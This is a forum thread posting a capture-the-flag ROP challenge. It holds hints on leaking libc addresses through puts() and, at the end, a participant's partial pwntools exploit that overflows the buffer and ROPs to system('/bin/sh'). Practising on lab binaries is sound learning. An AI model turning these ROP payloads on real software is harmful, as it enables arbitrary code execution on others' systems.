[Pwnable] ROP Me Like You Do

linux
challenge
rop
pwning

#1

Hello folks! I hope you’re all doing great! Since there’s a plethora of reversing/crackme challenges on 0x00sec, it’s time to step up the game with some binary exploitation one since that happens to be my favorite field as well.


###Difficulty
Average


###Objective
Get a shell.


###Rules

  • ASLR should be turned on!
  • ROP to system().
  • Since no libc is provided, all you have to do is pwn the binary locally.
  • Full PoC is accepted as a solution. Just a screenshot of the shell doesn’t mean anything.

###Hint(s)

You’ll go nowhere without a leak.

You’ll need to enter your payload twice.


###Binary

gcc -fno-stack-protector -o ropme ropme.c

Download me.


Have fun!


(exploit) #2

Much time no ROP, i’ll play it! :smile:


#3

I was waiting for you to show up :wink: I’m sure you’ll get reminded of the technique. It looks like MBE’s.

Edit: I added a 32-bit version as well.


(exploit) #4

I already know :smile: i’m currently running the VM! :laughing:


#5

UPDATE: After receiving some messages from a few people that the binary doesn’t work the way it works on my box, I’ll delete this post shortly.

My apologies for the inconvenience.


#6

(Security Architect & Founder) #7

What?! The 32bit?


#8

UPDATE #2: Thank you to @exploit for taking the time to troubleshoot the binary. In fact, the original 64-bit version is fully working and he managed to pwn it.

My apologies once again and make sure you download the 64-bit version.


#9

#10

Hi !
Thanks for the challenge, I have a leak but I don’t know what are the address leaked…
I tried to find the difference between my leak and system address but It looks like it change everytime…

I’m really noob :confused: ^^


#11

As I said in the description of the challenge, you should be having ASLR on. That’s why the leak is always different. The hints I’ve given are extremely helpful.

Just keep in mind the following:

You can’t beat someone who never gives up.


#12

Sorry if my question is stupid :s
I understand why the leak is always different but the difference between leaked address and system address should’nt be always the same ? The ASLR just change the base address no ?


#13

Yes, the offset difference should be the same in every execution. Make sure you know which libc address you’re leaking.

Let’s say you’re leaking puts()'s libc address. All you have to do to find the base address is to subtract puts()'s offset in libc from the leaked address and you get the base. Then, it’s pretty much game over (almost).


#14

Thank you @_py !

I now have the system address but I get a sigbus…

I’ll never give up ^^


#15

Sweet! Focus on hint #2 for the last part of the exploitation :wink: You’re almost there.


#16

Hello! Can you give me a hint on how to leak an address? Once I get the leak, I’m pretty sure I’ll be able to exploit it. Thank you very much for the challenge! Learning a lot :slight_smile:


#17

A leak in binary exploitation is basically 85% of the pwning process.

A leak is practically achieved by leveraging the functionality of the binary in order to get value(s) back from it. One of the simplest and probably the most common way of leaking data is by ROP-ing to a function which prints something to the stdout.

Why’s that?

Well, all the print-like functions in programming require a reference/pointer to the address whose content you want to print (leak in our case). Having said that, what would’ve happened if you call puts() with an argument like 0x12345 (obviously that’s an invalid address but you get my point)? That’d make puts() think “oh damn, looks like I gotta print the content of the address 0x12345, let’s do that!”.

I’ve basically given you a leak 101 tutorial. Use it wisely and pwn the binary. That’s more than enough intel.

Best of luck.


#18

I’m still stuck …
I have the leak but I didn’t manage to have the leak without a sigbus right after :confused:
I’m able to have the leak then sigbus or don’t have the link and send multiple payload but not both…


#19

Show me your exploit so far (inside spoiler tags).


#20

Ok,

[spoiler]But it is very… bad x)

#!/usr/bin/env python2

import struct
from pwn import * 

PUTS_OFFSET = 0x000000000006a3e0
SYSTEM_OFFSET = 0x0000000000040db0

BINSH = 0x7ffff7b9ced3

p = process('./ropme')
print(p.recv())
p.sendline("A"*72+p64(0x040063a))
data = p.recvline()
libc_base = u64(data[-9:-1])/0x10000-207-PUTS_OFFSET
system_addr = libc_base+SYSTEM_OFFSET
print("LIBC BASE="+hex(libc_base))
print("SYSTEM ADDRESS="+hex(system_addr))
pause()
p.sendline("A"*72+p64(system_addr)+"\x41"*8+p64(BINSH))
print p.recv()

[/spoiler]
Thanks :slight_smile: